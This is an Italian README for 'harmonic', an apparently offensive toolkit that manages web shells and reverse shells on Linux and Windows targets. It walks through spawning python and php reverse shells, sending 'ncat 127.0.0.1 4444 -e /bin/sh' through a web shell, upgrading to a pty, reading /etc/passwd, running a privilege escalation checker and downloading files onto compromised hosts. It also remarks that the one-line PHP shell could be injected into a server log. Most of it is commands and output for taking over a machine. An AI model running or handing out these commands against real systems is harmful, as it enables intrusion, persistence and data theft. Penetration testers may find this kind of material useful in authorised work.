Suite per la gestione di reverse shell progettata per lavorare all'interno della shell nativa
L'inizio di un insieme di strumenti Linux per gestire e interfacciarsi con reverse shell (il codice è ancora in uno stato rapido e sporco, con poca gestione delle eccezioni). Con una forte ispirazione alla filosofia UNIX, l'idea di base è avere un demone per gestire endpoint arbitrari (connd, anche se non è ancora un vero demone ma può girare in un terminale separato) ed eseguire strumenti su quegli endpoint.
Gli endpoint sono 'guidati' da uno script o un processo e vengono esposti come file nel filesystem; un client software leggero può quindi essere utilizzato per interagire con essi, ma possono essere altrettanto facilmente scritti e letti usando comandi shell. In effetti, poter eseguire gli script in modo autonomo dalla shell è un fattore chiave del design in cui, idealmente, al massimo uno script dipenderà dalla presenza di un endpoint, ma può essere utilizzato anche in combinazione (a cascata l'uno nell'altro).
Le opzioni attuali degli endpoint sono:
Il client software leggero (hthinc.py) fornisce un'interfaccia di base all'endpoint del sistema e consente di eseguire rapidamente script sul sistema. Sono stati scritti diversi script semplici ma utili:
I tipi di driver di reverse shell (cioè ciò che guida la shell sul sistema remoto) sono i seguenti (attualmente supporto per Linux):
Altri script:
Di' a connd di avviare un endpoint, usando un driver wedge shell sullo script php fornito che effettua chiamate di sistema con risposta formattata. Tuttavia, questo script di una sola riga avrebbe potuto essere facilmente iniettato come codice in un log di un server
$ hconnd.py start wsh http://example.com/hwsh.php
1
Questo ha creato l'endpoint 1 (due pipe di I/O -- puoi vederle come t1i e t1o nella sottodirectory run). Quindi ora usiamo hthinc.py per interagire con la shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Sappiamo che questa è una macchina Linux. Vogliamo allontanarci da una web shell incastrata e ottenere una shell vera e propria. Eseguire il comando integrato !help fornisce il messaggio di aiuto di thinc. Possiamo eseguire uno script sp che eseguirà automaticamente comandi sul sistema remoto, enumerando l'ambiente, avvierà un endpoint nc, genererà una reverse shell e accederà automaticamente tramite una nuova hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Oppure, se sappiamo di usare (ad esempio) PHP come driver, possiamo specificarlo:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
E diciamo che abbiamo una shell senza TTY o vogliamo uscirne, possiamo eseguire una delle macro predefinite:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Inoltre, se vogliamo registrare l'output di un comando, possiamo usare lo script log, che lo salverà nella directory di lavoro corrente:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Mentre gli endpoint sono in esecuzione, puoi collegare/scollegare i client poiché i processi di connessione sono gestiti dal demone.
Poiché tutto può essere eseguito in modo più unixy, possiamo ripetere rapidamente i processi dalla shell. Avviamo un endpoint webshell, otteniamo l'ID dell'endpoint e poi dalla shell eseguiamo lo script sp.py contro l'endpoint (è lo stesso script usato in hthinc.py ma con un punto di ingresso diverso).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
oppure come one-liner:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
e automatizzare facilmente:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
Lo strumento hcmd.py ti permette di eseguire rapidamente un comando attraverso un endpoint dalla tua shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
e di usare pipe o reindirizzamenti sui risultati come al solito
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Puoi usare il verbo list di hconn.py per vedere l'elenco corrente degli endpoint, con lo stato della connessione se rilevante
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
Configura un endpoint wedge shell:
$ hconn.py start wsh http://example.com/hwsh.php
1
Ora possiamo configurare un listener netcat sulla porta 4444:
$ hconn.py start nc 4444
2
E poi scrivere nell'endpoint wedge shell (eid 1) attraverso il file di input:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
Questo dovrebbe aver inviato una shell al listener netcat. Collega il client leggero all'endpoint netcat (eid 2) e dovremmo avere un'altra shell in attesa:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Generalizzare l'interfaccia della shell in file significa che gli script usati su un endpoint webshell funzioneranno anche su un endpoint reverse shell netcat. Puoi invocare gli script usando il loro percorso assoluto ($HCROOT/share/script/*.py) oppure puoi usare lo script helper hscr.py
Possiamo eseguire sp.py sull'endpoint netcat e generare un'altra reverse shell:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
e l'equivalente usando il percorso assoluto sarebbe $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
oppure possiamo eseguire Linux Priv Escalation Checker su una webshell:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
e possiamo invocarli all'interno di un'istanza di hthinc.py
!run lpc
Le variabili d'ambiente possono essere usate per definire valori globali. Ci sono tre livelli di variabili, ciascuno con priorità inferiore al successivo:
Le variabili del file resource sono definite in $HCROOT/.hcrc. Queste hanno la priorità più bassa ma possono essere usate per evitare di inquinare le variabili d'ambiente a livello di sistema.
Le variabili environment/shell vengono portate nel processo dalla shell e hanno il prefisso HCV_. Queste si fonderanno con le variabili resource e sovrascriveranno i valori già esistenti.
Le variabili inline sovrascriveranno tutto ciò che è stato definito in precedenza.
Per questi esempi, LHOST=127.0.0.1 è definita come variabile resource in .hcrc e l'uso dello script è ./script LPORT [LHOST]
Il seguente script avrà LHOST=127.0.0.1 e LPORT=4455 (variabile resource)
$ ./script 4455
Il seguente script avrà LHOST=192.168.1.101 e LPORT=4455 (variabile shell)
$ HCV_LHOST=192.168.1.101 ./script 4455
Il seguente script avrà LHOST=10.10.10.125 (variabile inline)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
Gli stessi principi possono essere applicati a hthinc.py !run SCR, (tieni presente: le variabili environment/shell sono quelle passate a ./hthinc.py)
Il server portal è un server HTTP di base che può essere usato per scaricare file sul sistema remoto usando script. Questi script tendono a comportarsi come macro attorno al comando, creando un'interazione più uniforme tra piattaforme. Il server gestisce i file relativamente da $HCROOT/share/disp/
hpd.py è in esecuzione sulla porta 80. DHOST e DPORT sono state definite in .hcrc rispettivamente come 127.0.0.1 e 80 (Puntano al server di dispatch). Questo significa che non devo inserire queste variabili quando invoco lo script, ma se devono essere diverse, le includiamo come variabili inline, come la variabile FILE=.
Stiamo invocando gli script da hthinc.py ma, ancora una volta, possiamo eseguire questi script dalla nostra shell abituale passando loro un ID endpoint sulla riga di comando. Se DHOST e DPORT sono già definiti, non è necessario includerli sulla riga di comando.
Per questo stiamo usando PowerShell, tramite pspull, per scaricare il file:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Qui non abbiamo PowerShell, quindi dobbiamo inizializzare lo script portal e poi scaricare il file:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
Lo script pull viene usato per Linux:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Giusto per chiarire le variabili inline:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
Le macro sono definite nella sezione macro di $HCROOT/.hcrc e vengono invocate dallo script mac. In questa forma di base assomigliano a un alias di shell e sono in pratica semplici script a senso unico, che inviano un comando attraverso l'endpoint alla shell remota. È più semplice associare alle macro sequenze di comandi usate di frequente ma laboriose.
Invocare lo script mac da una hthinc.py include l'uso di una variabile senza nome, cioè una variabile senza etichetta. Questo consente di invocare le macro come un parametro da riga di comando dello script.
Ancora una volta, le macro possono essere invocate dalla tua shell abituale usando lo stesso script mac.py.
Questo esempio invoca la macro pty in una shell instabile. La macro è un alias per python -c 'import pty; pty.spawn("/bin/bash")':
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
L'equivalente dell'eseguirlo dalla riga di comando su (ad es.) endpoint 5 sarebbe hscr.py 5 mac pty. La prossima volta che colleghi un client all'endpoint, dovrebbe essere in esecuzione con una tty.
inserire !run mac --list mostrerà l'elenco delle macro.
Per compilare connd:
go build connd